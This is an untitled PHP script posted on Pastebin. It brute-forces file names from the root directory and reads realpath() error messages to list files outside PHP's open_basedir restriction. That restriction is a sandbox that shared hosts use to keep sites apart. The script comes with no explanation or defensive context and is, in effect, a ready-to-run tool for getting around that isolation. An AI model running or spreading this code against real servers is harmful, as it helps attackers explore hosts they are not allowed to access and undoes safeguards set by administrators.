Advertisement
Guest User

Untitled

a guest
Feb 25th, 2013
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3.     $windows = false;
  4.     $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
  5.     $alphabet_len = strlen($alphabet);
  6.     $maxlength = 4;
  7.     $path = '/';
  8.      
  9.     $regexp = "/File\((.*)\) is not within/";  
  10.     $files = array();
  11.     $s = array();
  12.      
  13.     error_reporting(0);
  14.     set_error_handler("eh");  
  15.     function eh($errno, $errstr, $errfile, $errline) {  
  16.         global $regexp,$files,$windows;  
  17.         preg_match($regexp,$errstr,$o);  
  18.         if(isset($o[1]) && (($windows) ? (strpos($o[1],'&lt;&lt;')===false) : true)) {
  19.             if(!in_array($o[1],$files))
  20.                 $files[]=$o[1];  
  21.         }
  22.     }
  23.      
  24.     echo '<pre>open_basedir: ';
  25.     if(ini_get('open_basedir'))
  26.         echo "<font color=\"red\">".ini_get('open_basedir')."</font>\n";
  27.     else
  28.         echo "<font color=\"green\">false</font>\n";
  29.     echo 'Directory listing of '.$path."\n";
  30.     while(count($s = inc($s,0)) <= $maxlength) {
  31.         check($s);
  32.     }
  33.     sort($files);
  34.     foreach($files as $file)  
  35.         echo $file."\n";
  36.     echo "</pre>";
  37.      
  38.     function check($s) {
  39.         global $alphabet,$path,$windows;
  40.         $str = 'a';
  41.         for($i = 0; $i < count($s); $i++) {
  42.             $str[$i] = $alphabet[$s[$i]];
  43.         }
  44.         if($windows)
  45.             realpath($path.$str."<<");
  46.         else
  47.             realpath($path.$str);
  48.     }
  49.      
  50.     function inc($s,$i) {
  51.         global $alphabet_len;
  52.         if(!isset($s[$i])) {
  53.             $s[$i] = 0;
  54.             return $s;
  55.         }
  56.         if($s[$i] + 1 == $alphabet_len) {
  57.             $s[$i] = 0;
  58.             $s = inc($s,$i+1);
  59.         } else {
  60.             $s[$i]++;
  61.         }
  62.         return $s;
  63.     }
  64. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement